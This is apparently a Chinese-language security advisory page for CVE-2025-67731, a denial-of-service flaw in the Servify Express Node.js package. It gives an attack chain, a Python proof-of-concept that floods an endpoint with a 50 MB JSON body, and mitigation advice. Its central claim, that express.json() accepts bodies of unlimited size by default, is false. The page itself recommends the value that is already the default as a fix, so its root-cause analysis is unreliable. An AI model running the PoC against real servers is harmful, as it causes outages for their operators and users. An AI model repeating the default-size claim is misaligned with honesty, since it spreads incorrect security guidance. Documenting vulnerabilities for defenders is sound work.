IPBUF安全漏洞报告
English
CVE-2025-67731 CVSS 7.5 高危

CVE-2025-67731: Servify Express express.json()无限大小导致拒绝服务漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67731
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Servify Express

相关标签

拒绝服务DoSNode.jsExpress内存耗尽Servify ExpressJSON解析CVE-2025-67731

漏洞概述

Servify Express是一个用于启动Express服务器并记录其运行端口的Node.js包。该软件包在1.2版本之前存在严重的安全漏洞:在创建Express服务器时使用了express.json()中间件但未设置请求体大小限制。这使得攻击者可以向服务器发送超大体积的JSON请求体。攻击者利用此漏洞可以耗尽服务器内存资源,导致服务性能严重下降甚至进程崩溃,最终造成拒绝服务(DoS)攻击。任何部署了未配置限制的JSON解析器且暴露于不可信客户端的应用程序都可能受到影响。此问题并非Express框架本身的缺陷,而是应用配置不当所致。攻击无需任何认证或用户交互,攻击者可直接利用此漏洞。

技术细节

漏洞根源在于Servify Express在初始化Express应用时调用express.json()但未传递任何配置参数。默认情况下,Express的JSON解析器接受任意大小的请求体。当攻击者发送包含超大JSON数据的POST请求时,服务器会尝试将整个请求体加载到内存中进行解析。对于一个100MB的JSON payload,服务器会分配至少100MB内存;若同时发起多个此类请求,将迅速耗尽系统内存资源。Node.js的express.json()中间件支持limit选项来限制请求体大小,如express.json({ limit: '100kb' })。缺少此限制时,恶意请求可绕过所有应用层防护,直接导致V8堆内存溢出或触发OOM Killer终止Node进程。攻击者可通过简单的curl命令或Python脚本批量发送大体积JSON请求实现DoS。

攻击链分析

STEP 1
步骤1
攻击者识别运行Servify Express < 1.2版本的目标服务器,该服务器暴露了使用express.json()的API端点
STEP 2
步骤2
攻击者构造包含超大JSON数据的HTTP POST请求,请求体大小可达数十MB甚至数百MB
STEP 3
步骤3
服务器接收请求后,express.json()中间件尝试将整个请求体加载到内存中进行解析
STEP 4
步骤4
多个并发的大体积请求迅速耗尽服务器内存资源,导致Node.js进程内存溢出或触发系统OOM
STEP 5
步骤5
服务器进程崩溃或变得无响应,无法处理正常用户请求,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-67731 PoC - Denial of Service via unlimited JSON body # Target: Servify Express < 1.2 target_url = "http://target-server:3000/api/endpoint" # Generate large JSON payload (50MB) large_json = {"data": "A" * 50 * 1024 * 1024} headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-67731-PoC" } print(f"[*] Sending large JSON payload to {target_url}") print(f"[*] Payload size: {len(str(large_json)) / (1024*1024):.2f} MB") try: response = requests.post(target_url, json=large_json, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (expected): {e}") print("[+] Target may be vulnerable - server crashed or timed out")

影响范围

Servify Express < 1.2

防御指南

临时缓解措施
临时缓解措施:在调用express.json()时添加limit配置,如express.json({ limit: '100kb' });或使用nginx等反向代理限制请求体大小不超过合理范围;也可在应用层添加中间件检查Content-Length头,拒绝超过阈值的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表